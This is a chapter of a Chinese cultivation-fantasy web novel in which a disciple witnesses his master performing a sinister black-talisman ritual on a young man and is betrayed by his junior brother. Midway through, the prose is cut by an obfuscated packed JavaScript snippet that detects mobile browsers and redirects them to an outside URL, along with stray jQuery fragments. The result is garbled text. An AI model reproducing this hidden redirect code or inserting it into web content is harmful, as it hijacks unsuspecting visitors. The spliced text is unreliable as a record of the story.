玄机堂后的密室,是云鹤山掌门的闭关修炼之所。
目前,除了掌门天机之外,也就只有大弟子颜正初才能打开此门。
此时,走在前面的天机道人打开石门后,却止住了脚步。
“正初。”
他唤了一声,随即却说了一句令人意想不到的话:“你负责在外面守着。”
这话让颜正初微微一愣,心下一阵怪异,忙道:“师父,不是要让我见师叔的魂魄吗?”
天机道人微微摇头,解释道:“你与任曜师弟并无血亲,就算进去了,也见不着他的魂魄。”
“只有任家这位公子才可以。”
颜正初心下一阵失落,还想再说些什么话争取一下时,却见师父抬手示意了一下。
这也表示,事情并无商量余地。
颜道长向来惧怕师父威严,只好乖乖垂首,不敢多嘴。
任风玦却还是顾及到颜正初的感受,主动问:“颜道长可有话需要我带到?”
听了这话,颜道长差点鼻子一酸。
为了避免自己在师父跟前煽情落泪,他连忙挥了挥手:“你想问的,便是我想问的。”
任风玦了然点头,便随着天机道人入了密室。
厚重的石门合上那刻,颜正初心里却好似有蚂蚁在爬,难受得很。
纠结了好一会儿,他还是忍不住用了一道隐身符,并偷偷打开石门,跟了进去。
正所谓做贼心虚,进入密室后的颜道长,一颗心都要跳到嗓子眼来。
但想到小师叔待自己恩重如山,就算不能亲眼一见,他也得知道事情的经过才行。
因害怕师父察觉,他也不敢靠得太近,仗着熟悉地形,藏在一只鼎后,悄悄观察着室内的情形。
此时,只见任风玦盘腿坐在密室中间,关闭着双眼。
天机道人在他身旁摆出了铜钱阵。
阵中插着阴阳烛,一根红线系在任风玦小指处,另一头则在天机手中。
颜正初瞪大眼睛,却看得暗自称奇。
这套阵法,师父并未教过他。
但他清楚知道,铜钱阵能锁阴魂,阴阳烛则是为了招魂,至于红线,却是阴阳互通的关键。
看似为招魂阵,却又过于繁琐。
总觉得不太对劲…
难道,是因为师叔的魂魄非同一般?
颜正初蹙眉思索了片刻,又见师父走到任风玦面前,以一根银针刺破他的尾指指腹,又将指尖血,滴在了阴阳烛上,并捏了一道法诀。
然而,就在这时,却出现了令他头皮发麻的一幕。
师父竟取出一道黑符,直接贴在任风玦额前。
一瞬间,颜正初只觉得脑子轰隆了一声。
黑符…
师父怎么会用黑符呢?
明明他曾亲口说过——黑符请的是邪神,只有心术不正的术士,才会用到黑符。
可现在,他竟用上了…
颜正初脑袋嗡嗡,思绪一片混乱。
惊愕、怀疑、不解…
各种情绪涌上了心头。
他将后背抵在鼎上,双手攥紧成拳,不知该如何接受这一切,心里更是难以平静。
接着,他又看见一道身影,走进了密室。
竟是自己的师弟白鹤。
颜正初胸口又是一阵翻涌——他为什么也能开石门?
不对!
这不对!
只见白鹤走到师父身旁,附耳说了一句什么。
天机微微颔首,便示意他退下了。
颜正初望着阵法之中的任风玦,只见他双眉紧蹙,额角开始涔出冷汗。
天机冷冷望着他,将红绳缠在自己的左右两根食指上,指腹相抵,低声念咒。
密室内开始起风…
阴阳烛灯火扑朔,铜钱阵内,也发出泠泠声响。
跟着,任风玦忽然俯身,吐出了一口鲜血。
血溅阵法,阴风大作。
见此一幕,颜正初终于忍无可忍,当即祭出玉剑,暴喝了一声,向着阵法中飞去。
天机明明听见了他的声音,却面不改色,不疾不徐松开一只手,朝着他的方向推出一掌。
三道飞符齐发,直接将半空中的颜正初,打了回去。
又只听见“砰”地一声响,他整个身体撞在鼎上,一阵头晕眼花。
“师父…”
颜正初
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17337120|196398||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
摔落在地,隐身符也失去了效果。
他强撑着站起身来,难以置信地望着天机:“师父,您究竟在做什么?”
天机回眸冷冷扫了他一眼,面上不见往日的庄肃与威严,眼底更没有半分仁慈之色。
“别喊我师父!”
他冷斥道:“我说的话,你又什么时候听过?”
颜正初张了张口,想要解释。
那边的任风玦,竟再次吐出了一口鲜血。
见此情形,颜正初基本能够确定,这阵法绝对不单单是招魂那么简单。
而极大可能,会对任风玦不利!
他虽不知师父为什么要这么做,但他知道,这种情况,自己绝对不能坐视不理。
既如此…
“师父!休怪徒儿忤逆了!”
颜正初猜测,破阵的关键,肯定是那根红线,他需要做的,就是越过师父,斩断那根红线。
天机道人也早就料到他会阻拦,见他靠近,又再次打出三道飞符,想要将他击退。
颜正初知道飞符威力非同小可,自己若是再被击中,下一次,还不知能不能再爬起来。
他天资算不得聪慧,却好在这些年来,愿意勤修苦练,且有韧性,于身法上,倒是灵巧敏捷。
飞符正面袭来,他不硬接,而是腾身翻转,巧妙躲闪。
避开之后,他算着力道,毫不犹豫向阵法中弹射出一枚铜钱…
眼见就能击中红线时,却被一只玉剑打落。
颜正初诧然一惊,正待补发一击时,后背却传来剧痛,也不知是被什么符咒打中,整个人栽在地上,四肢立即动弹不得。
他骇然一惊,却见一道身影缓缓从身后走来,竟是假装离去的师弟白鹤。
白鹤却正眼不瞧他,走到天机跟前,恭敬行了一礼。
“请师父安心做法,我会负责看好颜师兄的。”
颜正初气得想骂人,却发现舌头竟也麻痹,根本无法出声。
他只能眼睁睁看着天机道人,再次将红线缠在两根食指处,持续念咒。
片刻后,任风玦猛然吐出第三口血,身体终于支撑不住,倒在了地上。